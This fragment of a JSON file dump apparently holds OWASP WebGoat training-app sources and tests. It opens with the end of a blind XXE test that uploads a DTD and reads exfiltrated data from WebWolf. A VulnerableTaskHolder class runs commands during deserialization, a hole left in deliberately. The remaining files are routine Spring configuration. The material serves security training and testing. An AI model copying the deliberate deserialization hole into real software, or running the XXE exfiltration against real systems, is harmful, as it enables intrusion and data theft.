//upload DTD\n        RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"WEBWOLFSESSION\", getWebWolfCookie())\n                .multiPart(\"file\", \"blind.dtd\", dtd7String.getBytes())\n                .post(webWolfUrl(\"/fileupload\"))\n                .then()\n                .extract().response().getBody().asString();\n        //upload attack\n        String xxe7String = xxe7.replace(\"WEBWOLFURL\", webWolfUrl(\"/files\")).replace(\"USERNAME\", this.getUser());\n        checkAssignment(url(\"/WebGoat/xxe/blind\"), ContentType.XML, xxe7String, false);\n\n        //read results from WebWolf\n        String result = RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"WEBWOLFSESSION\", getWebWolfCookie())\n                .get(webWolfUrl(\"/WebWolf/requests\"))\n                .then()\n                .extract().response().getBody().asString();\n        result = result.replace(\"%20\", \" \");\n        if (-1 != result.lastIndexOf(\"WebGoat 8.0 rocks... (\")) {\n            result = result.substring(result.lastIndexOf(\"WebGoat 8.0 rocks... (\"), result.lastIndexOf(\"WebGoat 8.0 rocks... (\") + 33);\n        }\n        return result;\n    }\n\n    @Test\n    public void runTests() throws IOException {\n        startLesson(\"XXE\", true);\n        webGoatHomeDirectory = webGoatServerDirectory();\n        webWolfFileServerLocation = getWebWolfFileServerLocation();\n        checkAssignment(url(\"/WebGoat/xxe/simple\"), ContentType.XML, xxe3, true);\n        checkAssignment(url(\"/WebGoat/xxe/content-type\"), ContentType.XML, xxe4, true);\n        checkAssignment(url(\"/WebGoat/xxe/blind\"), ContentType.XML, \"<comment><text>\" + getSecret() + \"</text></comment>\", true);\n        checkResults(\"xxe/\");\n    }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java",
    "content": "package org.dummy.insecure.framework;\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.io.ObjectInputStream;\nimport java.io.Serializable;\nimport java.time.LocalDateTime;\nimport lombok.extern.slf4j.Slf4j;\n\n@Slf4j\n// TODO move back to lesson\npublic class VulnerableTaskHolder implements Serializable {\n\n  private static final long serialVersionUID = 2;\n\n  private String taskName;\n  private String taskAction;\n  private LocalDateTime requestedExecutionTime;\n\n  public VulnerableTaskHolder(String taskName, String taskAction) {\n    super();\n    this.taskName = taskName;\n    this.taskAction = taskAction;\n    this.requestedExecutionTime = LocalDateTime.now();\n  }\n\n  @Override\n  public String toString() {\n    return \"VulnerableTaskHolder [taskName=\"\n        + taskName\n        + \", taskAction=\"\n        + taskAction\n        + \", requestedExecutionTime=\"\n        + requestedExecutionTime\n        + \"]\";\n  }\n\n  /**\n   * Execute a task when de-serializing a saved or received object.\n   *\n   * @author stupid develop\n   */\n  private void readObject(ObjectInputStream stream) throws Exception {\n    // unserialize data so taskName and taskAction are available\n    stream.defaultReadObject();\n\n    // do something with the data\n    log.info(\"restoring task: {}\", taskName);\n    log.info(\"restoring time: {}\", requestedExecutionTime);\n\n    if (requestedExecutionTime != null\n        && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))\n            || requestedExecutionTime.isAfter(LocalDateTime.now()))) {\n      // do nothing is the time is not within 10 minutes after the object has been created\n      log.debug(this.toString());\n      throw new IllegalArgumentException(\"outdated\");\n    }\n\n    // condition is here to prevent you from destroying the goat altogether\n    if ((taskAction.startsWith(\"sleep\") || taskAction.startsWith(\"ping\"))\n        && taskAction.length() < 22) {\n      log.info(\"about to execute: {}\", taskAction);\n      try {\n        Process p = Runtime.getRuntime().exec(taskAction);\n        BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));\n        String line = null;\n        while ((line = in.readLine()) != null) {\n          log.info(line);\n        }\n      } catch (IOException e) {\n        log.error(\"IO Exception\", e);\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java",
    "content": "/**\n * *************************************************************************************************\n *\n * <p>\n *\n * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n */\npackage org.owasp.webgoat.container;\n\nimport java.io.IOException;\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport org.springframework.security.core.AuthenticationException;\nimport org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;\n\n/**\n * AjaxAuthenticationEntryPoint class.\n *\n * @author zupzup\n */\npublic class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoint {\n  public AjaxAuthenticationEntryPoint(String loginFormUrl) {\n    super(loginFormUrl);\n  }\n\n  @Override\n  public void commence(\n      HttpServletRequest request,\n      HttpServletResponse response,\n      AuthenticationException authException)\n      throws IOException, ServletException {\n    if (request.getHeader(\"x-requested-with\") != null) {\n      response.sendError(401, authException.getMessage());\n    } else {\n      super.commence(request, response, authException);\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java",
    "content": "/**\n * ************************************************************************************************\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * <p>\n *\n * @author WebGoat\n * @version $Id: $Id\n * @since December 12, 2015\n */\npackage org.owasp.webgoat.container;\n\nimport static org.asciidoctor.Asciidoctor.Factory.create;\n\nimport io.undertow.util.Headers;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.StringWriter;\nimport java.util.HashMap;\nimport java.util.Locale;\nimport java.util.Map;\nimport java.util.Set;\nimport javax.servlet.http.HttpServletRequest;\nimport lombok.extern.slf4j.Slf4j;\nimport org.asciidoctor.Asciidoctor;\nimport org.asciidoctor.extension.JavaExtensionRegistry;\nimport org.owasp.webgoat.container.asciidoc.*;\nimport org.owasp.webgoat.container.i18n.Language;\nimport org.springframework.core.io.ResourceLoader;\nimport org.springframework.web.context.request.RequestContextHolder;\nimport org.springframework.web.context.request.ServletRequestAttributes;\nimport org.springframework.web.servlet.i18n.SessionLocaleResolver;\nimport org.thymeleaf.IEngineConfiguration;\nimport org.thymeleaf.templateresolver.FileTemplateResolver;\nimport org.thymeleaf.templateresource.ITemplateResource;\nimport org.thymeleaf.templateresource.StringTemplateResource;\n\n/**\n * Thymeleaf resolver for AsciiDoc used in the lesson, can be used as follows inside a lesson file:\n *\n * <p><code>\n * <div th:replace=\"doc:AccessControlMatrix_plan.adoc\"></div>\n * </code>\n */\n@Slf4j\npublic class AsciiDoctorTemplateResolver extends FileTemplateResolver {\n\n  private static final Asciidoctor asciidoctor = create();\n  private static final String PREFIX = \"doc:\";\n\n  private final Language language;\n  private final ResourceLoader resourceLoader;\n\n  public AsciiDoctorTemplateResolver(Language language, ResourceLoader resourceLoader) {\n    this.resourceLoader = resourceLoader;\n    this.language = language;\n    setResolvablePatterns(Set.of(PREFIX + \"*\"));\n  }\n\n  @Override\n  protected ITemplateResource computeTemplateResource(\n      IEngineConfiguration configuration,\n      String ownerTemplate,\n      String template,\n      String resourceName,\n      String characterEncoding,\n      Map<String, Object> templateResolutionAttributes) {\n    var templateName = resourceName.substring(PREFIX.length());\n    log.debug(\"template used: {}\", templateName);\n    try (InputStream is = getInputStream(templateName)) {\n      JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();\n      extensionRegistry.inlineMacro(\"webWolfLink\", WebWolfMacro.class);\n      extensionRegistry.inlineMacro(\"webWolfRootLink\", WebWolfRootMacro.class);\n      extensionRegistry.inlineMacro(\"webGoatVersion\", WebGoatVersionMacro.class);\n      extensionRegistry.inlineMacro(\"webGoatTempDir\", WebGoatTmpDirMacro.class);\n      extensionRegistry.inlineMacro(\"operatingSystem\", OperatingSystemMacro.class);\n      extensionRegistry.inlineMacro(\"username\", UsernameMacro.class);\n\n      StringWriter writer = new StringWriter();\n      asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());\n      return new StringTemplateResource(writer.getBuffer().toString());\n    } catch (IOException e) {\n      return new StringTemplateResource(\n          \"<div>Unable to find documentation for: \" + templateName + \" </div>\");\n    }\n  }\n\n  private InputStream getInputStream(String templateName) throws IOException {\n    log.debug(\"locale: {}\", language.getLocale().getLanguage());\n    String computedResourceName =\n        computeResourceName(templateName, language.getLocale().getLanguage());\n    if (resourceLoader\n        .getResource(\"classpath:/\" + computedResourceName)\n        .isReadable() /*isFile()*/) {\n      log.debug(\"localized file exists\");\n      return resourceLoader.getResource(\"classpath:/\" + computedResourceName).getInputStream();\n    } else {\n      log.debug(\"using english template\");\n      return resourceLoader.getResource(\"classpath:/\" + templateName).getInputStream();\n    }\n  }\n\n  private String computeResourceName(String resourceName, String language) {\n    String computedResourceName;\n    if (language.equals(\"en\")) {\n      computedResourceName = resourceName;\n    } else {\n      computedResourceName = resourceName.replace(\".adoc\", \"_\".concat(language).concat(\".adoc\"));\n    }\n    log.debug(\"computed local file name: {}\", computedResourceName);\n    log.debug(\n        \"file exists: {}\",\n        resourceLoader.getResource(\"classpath:/\" + computedResourceName).isReadable());\n    return computedResourceName;\n  }\n\n  private Map<String, Object> createAttributes() {\n    Map<String, Object> attributes = new HashMap<>();\n    attributes.put(\"source-highlighter\", \"coderay\");\n    attributes.put(\"backend\", \"xhtml\");\n    attributes.put(\"lang\", determineLanguage());\n    attributes.put(\"icons\", org.asciidoctor.Attributes.FONT_ICONS);\n\n    Map<String, Object> options = new HashMap<>();\n    options.put(\"attributes\", attributes);\n\n    return options;\n  }\n\n  private String determineLanguage() {\n    HttpServletRequest request =\n        ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();\n\n    Locale browserLocale =\n        (Locale)\n            request.getSession().getAttribute(SessionLocaleResolver.LOCALE_SESSION_ATTRIBUTE_NAME);\n    if (null != browserLocale) {\n      log.debug(\"browser locale {}\", browserLocale);\n      return browserLocale.getLanguage();\n    } else {\n      String langHeader = request.getHeader(Headers.ACCEPT_LANGUAGE_STRING);\n      if (null != langHeader) {\n        log.debug(\"browser locale {}\", langHeader);\n        return langHeader.substring(0, 2);\n      } else {\n        log.debug(\"browser default english\");\n        return \"en\";\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java",
    "content": "package org.owasp.webgoat.container;\n\nimport java.util.Map;\nimport java.util.function.Function;\nimport javax.sql.DataSource;\nimport lombok.RequiredArgsConstructor;\nimport lombok.extern.slf4j.Slf4j;\nimport org.flywaydb.core.Flyway;\nimport org.owasp.webgoat.container.lessons.LessonScanner;\nimport org.owasp.webgoat.container.service.RestartLessonService;\nimport org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.Primary;\nimport org.springframework.jdbc.datasource.DriverManagerDataSource;\n\n@Configuration\n@RequiredArgsConstructor\n@Slf4j\npublic class DatabaseConfiguration {\n\n  private final DataSourceProperties properties;\n  private final LessonScanner lessonScanner;\n\n  @Bean\n  @Primary\n  public DataSource dataSource() {\n    DriverManagerDataSource dataSource = new DriverManagerDataSource();\n    dataSource.setDriverClassName(properties.getDriverClassName());\n    dataSource.setUrl(properties.getUrl());\n    dataSource.setUsername(properties.getUsername());\n    dataSource.setPassword(properties.getPassword());\n    return dataSource;\n  }\n\n  /**\n   * Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users\n   * and 1 for lesson specific tables we use. This way we clean the data in the lesson database\n   * quite easily see {@link RestartLessonService#restartLesson()} for how we clean the lesson\n   * related tables.\n   */\n  @Bean(initMethod = \"migrate\")\n  public Flyway flyWayContainer() {\n    return Flyway.configure()\n        .configuration(Map.of(\"driver\", properties.getDriverClassName()))\n        .dataSource(dataSource())\n        .schemas(\"container\")\n        .locations(\"db/container\")\n        .load();\n  }\n\n  @Bean\n  public Function<String, Flyway> flywayLessons(LessonDataSource lessonDataSource) {\n    return schema ->\n        Flyway.configure()\n            .configuration(Map.of(\"driver\", properties.getDriverClassName()))\n            .schemas(schema)\n            .dataSource(lessonDataSource)\n            .locations(\"lessons\")\n            .load();\n  }\n\n  @Bean\n  public LessonDataSource lessonDataSource() {\n    return new LessonDataSource(dataSource());\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/HammerHead.java",
    "content": "package org.owasp.webgoat.container;\n\nimport lombok.AllArgsConstructor;\nimport org.owasp.webgoat.container.session.Course;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.servlet.ModelAndView;\n\n/**\n * *************************************************************************************************\n *\n * <p>\n *\n * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * @author Jeff Williams\n * @author Bruce Mayhew\n * @author Nanne Baars\n * @version $Id: $Id\n * @since October 28, 2003\n */\n@Controller\n@AllArgsConstructor\npublic class HammerHead {\n\n  private final Course course;\n\n  /** Entry point for WebGoat, redirects to the first lesson found within the course. */\n  @RequestMapping(\n      path = \"/attack\",\n      method = {RequestMethod.GET, RequestMethod.POST})\n  public ModelAndView attack() {\n    return new ModelAndView(\"redirect:\" + \"start.mvc\" + course.getFirstLesson().getLink());\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/LessonDataSource.java",
    "content": "package org.owasp.webgoat.container;\n\nimport java.io.PrintWriter;\nimport java.lang.reflect.Proxy;\nimport java.sql.Connection;\nimport java.sql.SQLException;\nimport java.sql.SQLFeatureNotSupportedException;\nimport java.util.logging.Logger;\nimport javax.sql.DataSource;\nimport org.owasp.webgoat.container.lessons.LessonConnectionInvocationHandler;\nimport org.springframework.jdbc.datasource.ConnectionProxy;\n\npublic class LessonDataSource implements DataSource {\n\n  private final DataSource originalDataSource;\n\n  public LessonDataSource(DataSource dataSource) {\n    this.originalDataSource = dataSource;\n  }\n\n  @Override\n  public Connection getConnection() throws SQLException {\n    var targetConnection = originalDataSource.getConnection();\n    return (Connection)\n        Proxy.newProxyInstance(\n            ConnectionProxy.class.getClassLoader(),\n            new Class[] {ConnectionProxy.class},\n            new LessonConnectionInvocationHandler(targetConnection));\n  }\n\n  @Override\n  public Connection getConnection(String username, String password) throws SQLException {\n    return originalDataSource.getConnection(username, password);\n  }\n\n  @Override\n  public PrintWriter getLogWriter() throws SQLException {\n    return originalDataSource.getLogWriter();\n  }\n\n  @Override\n  public void setLogWriter(PrintWriter out) throws SQLException {\n    originalDataSource.setLogWriter(out);\n  }\n\n  @Override\n  public void setLoginTimeout(int seconds) throws SQLException {\n    originalDataSource.setLoginTimeout(seconds);\n  }\n\n  @Override\n  public int getLoginTimeout() throws SQLException {\n    return originalDataSource.getLoginTimeout();\n  }\n\n  @Override\n  public Logger getParentLogger() throws SQLFeatureNotSupportedException {\n    return originalDataSource.getParentLogger();\n  }\n\n  @Override\n  public <T> T unwrap(Class<T> clazz) throws SQLException {\n    return originalDataSource.unwrap(clazz);\n  }\n\n  @Override\n  public boolean isWrapperFor(Class<?> clazz) throws SQLException {\n    return originalDataSource.isWrapperFor(clazz);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/LessonTemplateResolver.java",
    "content": "/**\n * ************************************************************************************************\n *\n * <p>\n *\n * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * @author WebGoat\n * @version $Id: $Id\n * @since October 28, 2003\n */\npackage org.owasp.webgoat.container;\n\nimport java.io.IOException;\nimport java.nio.charset.StandardCharsets;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Set;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.core.io.ResourceLoader;\nimport org.thymeleaf.IEngineConfiguration;\nimport org.thymeleaf.templateresolver.FileTemplateResolver;\nimport org.thymeleaf.templateresource.ITemplateResource;\nimport org.thymeleaf.templateresource.StringTemplateResource;\n\n/**\n * Dynamically resolve a lesson. In the html file this can be invoked as: <code>\n * <div th:case=\"true\" th:replace=\"lesson:__${lesson.class.simpleName}__\"></div>\n * </code>\n *\n * <p>Thymeleaf will invoke this resolver based on the prefix and this implementation will resolve\n * the html in the plugins directory\n */\n@Slf4j\npublic class LessonTemplateResolver extends FileTemplateResolver {\n\n  private static final String PREFIX = \"lesson:\";\n  private ResourceLoader resourceLoader;\n  private Map<String, byte[]> resources = new HashMap<>();\n\n  public LessonTemplateResolver(ResourceLoader resourceLoader) {\n    this.resourceLoader = resourceLoader;\n    setResolvablePatterns(Set.of(PREFIX + \"*\"));\n  }\n\n  @Override\n  protected ITemplateResource computeTemplateResource(\n      IEngineConfiguration configuration,\n      String ownerTemplate,\n      String template,\n      String resourceName,\n      String characterEncoding,\n      Map<String, Object> templateResolutionAttributes) {\n    var templateName = resourceName.substring(PREFIX.length());\n    byte[] resource = resources.get(templateName);\n    if (resource == null) {\n      try {\n        resource =\n            resourceLoader\n                .getResource(\"classpath:/\" + templateName)\n                .getInputStream()\n                .readAllBytes();\n      } catch (IOException e) {\n        log.error(\"Unable to find lesson HTML: {}\", template);\n      }\n      resources.put(templateName, resource);\n    }\n    return new StringTemplateResource(new String(resource, StandardCharsets.UTF_8));\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/MvcConfiguration.java",
    "content": "/**\n * ************************************************************************************************\n *\n * <p>\n *\n * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * @author WebGoat\n * @version $Id: $Id\n * @since October 28, 2003\n */\npackage org.owasp.webgoat.container;\n\nimport java.io.IOException;\nimport java.nio.charset.StandardCharsets;\nimport java.util.Map;\nimport java.util.Set;\nimport lombok.RequiredArgsConstructor;\nimport lombok.extern.slf4j.Slf4j;\nimport org.owasp.webgoat.container.i18n.Language;\nimport org.owasp.webgoat.container.i18n.Messages;\nimport org.owasp.webgoat.container.i18n.PluginMessages;\nimport org.owasp.webgoat.container.lessons.LessonScanner;\nimport org.owasp.webgoat.container.session.LabelDebugger;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.core.io.ResourceLoader;\nimport org.springframework.core.io.support.ResourcePatternResolver;\nimport org.springframework.web.servlet.LocaleResolver;\nimport org.springframework.web.servlet.ViewResolver;\nimport org.springframework.web.servlet.config.annotation.InterceptorRegistry;\nimport org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;\nimport org.springframework.web.servlet.config.annotation.ViewControllerRegistry;\nimport org.springframework.web.servlet.config.annotation.WebMvcConfigurer;\nimport org.springframework.web.servlet.i18n.LocaleChangeInterceptor;\nimport org.springframework.web.servlet.i18n.SessionLocaleResolver;\nimport org.thymeleaf.IEngineConfiguration;\nimport org.thymeleaf.extras.springsecurity5.dialect.SpringSecurityDialect;\nimport org.thymeleaf.spring5.SpringTemplateEngine;\nimport org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver;\nimport org.thymeleaf.spring5.view.ThymeleafViewResolver;\nimport org.thymeleaf.templatemode.TemplateMode;\nimport org.thymeleaf.templateresolver.FileTemplateResolver;\nimport org.thymeleaf.templateresolver.ITemplateResolver;\nimport org.thymeleaf.templateresource.ITemplateResource;\nimport org.thymeleaf.templateresource.StringTemplateResource;\n\n/** Configuration for Spring MVC */\n@Configuration\n@RequiredArgsConstructor\n@Slf4j\npublic class MvcConfiguration implements WebMvcConfigurer {\n\n  private static final String UTF8 = \"UTF-8\";\n\n  private final LessonScanner lessonScanner;\n\n  @Override\n  public void addViewControllers(ViewControllerRegistry registry) {\n    registry.addViewController(\"/login\").setViewName(\"login\");\n    registry.addViewController(\"/lesson_content\").setViewName(\"lesson_content\");\n    registry.addViewController(\"/start.mvc\").setViewName(\"main_new\");\n    registry.addViewController(\"/scoreboard\").setViewName(\"scoreboard\");\n  }\n\n  @Bean\n  public ViewResolver viewResolver(SpringTemplateEngine thymeleafTemplateEngine) {\n    ThymeleafViewResolver resolver = new ThymeleafViewResolver();\n    resolver.setTemplateEngine(thymeleafTemplateEngine);\n    resolver.setCharacterEncoding(StandardCharsets.UTF_8.displayName());\n    return resolver;\n  }\n\n  /**\n   * Responsible for loading lesson templates based on Thymeleaf, for example:\n   *\n   * <p><div th:include=\"/lessons/spoofcookie/templates/spoofcookieform.html\" id=\"content\"></div>\n   */\n  @Bean\n  public ITemplateResolver lessonThymeleafTemplateResolver(ResourceLoader resourceLoader) {\n    var resolver =\n        new FileTemplateResolver() {\n          @Override\n          protected ITemplateResource computeTemplateResource(\n              IEngineConfiguration configuration,\n              String ownerTemplate,\n              String template,\n              String resourceName,\n              String characterEncoding,\n              Map<String, Object> templateResolutionAttributes) {\n            try (var is =\n                resourceLoader.getResource(\"classpath:\" + resourceName).getInputStream()) {\n              return new StringTemplateResource(\n                  new String(is.readAllBytes(), StandardCharsets.UTF_8));\n            } catch (IOException e) {\n              return null;\n            }\n          }\n        };\n    resolver.setOrder(1);\n    return resolver;\n  }\n\n  /** Loads all normal WebGoat specific Thymeleaf templates */\n  @Bean\n  public ITemplateResolver springThymeleafTemplateResolver(ApplicationContext applicationContext) {\n    SpringResourceTemplateResolver resolver = new SpringResourceTemplateResolver();\n    resolver.setPrefix(\"classpath:/webgoat/templates/\");\n    resolver.setSuffix(\".html\");\n    resolver.setTemplateMode(TemplateMode.HTML);\n    resolver.setOrder(2);\n    resolver.setCharacterEncoding(UTF8);\n    resolver.setApplicationContext(applicationContext);\n    return resolver;\n  }\n\n  /** Loads the html for the complete lesson, see lesson_content.html */\n  @Bean\n  public LessonTemplateResolver lessonTemplateResolver(ResourceLoader resourceLoader) {\n    LessonTemplateResolver resolver = new LessonTemplateResolver(resourceLoader);\n    resolver.setOrder(0);\n    resolver.setCacheable(false);\n    resolver.setCharacterEncoding(UTF8);\n    return resolver;\n  }\n\n  /** Loads the lesson asciidoc. */\n  @Bean\n  public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver(\n      Language language, ResourceLoader resourceLoader) {\n    log.debug(\"template locale {}\", language);\n    AsciiDoctorTemplateResolver resolver =\n        new AsciiDoctorTemplateResolver(language, resourceLoader);\n    resolver.setCacheable(false);\n    resolver.setOrder(1);\n    resolver.setCharacterEncoding(UTF8);\n    return resolver;\n  }\n\n  @Bean\n  public SpringTemplateEngine thymeleafTemplateEngine(\n      ITemplateResolver springThymeleafTemplateResolver,\n      LessonTemplateResolver lessonTemplateResolver,\n      AsciiDoctorTemplateResolver asciiDoctorTemplateResolver,\n      ITemplateResolver lessonThymeleafTemplateResolver) {\n    SpringTemplateEngine engine = new SpringTemplateEngine();\n    engine.setEnableSpringELCompiler(true);\n    engine.addDialect(new SpringSecurityDialect());\n    engine.setTemplateResolvers(\n        Set.of(\n            lessonTemplateResolver,\n            asciiDoctorTemplateResolver,\n            lessonThymeleafTemplateResolver,\n            springThymeleafTemplateResolver));\n    return engine;\n  }\n\n  @Override\n  public void addResourceHandlers(ResourceHandlerRegistry registry) {\n    // WebGoat internal\n    registry.addResourceHandler(\"/css/**\").addResourceLocations(\"classpath:/webgoat/static/css/\");\n    registry.addResourceHandler(\"/js/**\").addResourceLocations(\"classpath:/webgoat/static/js/\");\n    registry\n        .addResourceHandler(\"/plugins/**\")\n        .addResourceLocations(\"classpath:/webgoat/static/plugins/\");\n    registry\n        .addResourceHandler(\"/fonts/**\")\n        .addResourceLocations(\"classpath:/webgoat/static/fonts/\");\n\n    // WebGoat lessons\n    registry\n        .addResourceHandler(\"/images/**\")\n        .addResourceLocations(\n            lessonScanner.applyPattern(\"classpath:/lessons/%s/images/\").toArray(String[]::new));\n    registry\n        .addResourceHandler(\"/lesson_js/**\")\n        .addResourceLocations(\n            lessonScanner.applyPattern(\"classpath:/lessons/%s/js/\").toArray(String[]::new));\n    registry\n        .addResourceHandler(\"/lesson_css/**\")\n        .addResourceLocations(\n            lessonScanner.applyPattern(\"classpath:/lessons/%s/css/\").toArray(String[]::new));\n    registry\n        .addResourceHandler(\"/lesson_templates/**\")\n        .addResourceLocations(\n            lessonScanner.applyPattern(\"classpath:/lessons/%s/templates/\").toArray(String[]::new));\n    registry\n        .addResourceHandler(\"/video/**\")\n        .addResourceLocations(\n            lessonScanner.applyPattern(\"classpath:/lessons/%s/video/\").toArray(String[]::new));\n  }\n\n  @Bean\n  public PluginMessages pluginMessages(\n      Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) {\n    PluginMessages pluginMessages = new PluginMessages(messages, language, resourcePatternResolver);\n    pluginMessages.setDefaultEncoding(\"UTF-8\");\n    pluginMessages.setBasenames(\"i18n/WebGoatLabels\");\n    pluginMessages.setFallbackToSystemLocale(false);\n    return pluginMessages;\n  }\n\n  @Bean\n  public Language language(LocaleResolver localeResolver) {\n    return new Language(localeResolver);\n  }\n\n  @Bean\n  public LocaleResolver localeResolver() {\n    SessionLocaleResolver localeResolver = new SessionLocaleResolver();\n    return localeResolver;\n  }\n\n  @Bean\n  public LocaleChangeInterceptor localeChangeInterceptor() {\n    LocaleChangeInterceptor lci = new LocaleChangeInterceptor();\n    lci.setParamName(\"lang\");\n    return lci;\n  }\n\n  @Override\n  public void addInterceptors(InterceptorRegistry registry) {\n    registry.addInterceptor(localeChangeInterceptor());\n  }\n\n  @Bean\n  public Messages messageSource(Language language) {\n    Messages messages = new Messages(language);\n    messages.setDefaultEncoding(\"UTF-8\");\n    messages.setBasename(\"classpath:i18n/messages\");\n    messages.setFallbackToSystemLocale(false);\n    return messages;\n  }\n\n  @Bean\n  public LabelDebugger labelDebugger() {\n    return new LabelDebugger();\n  }\n}\n"
  },
  {
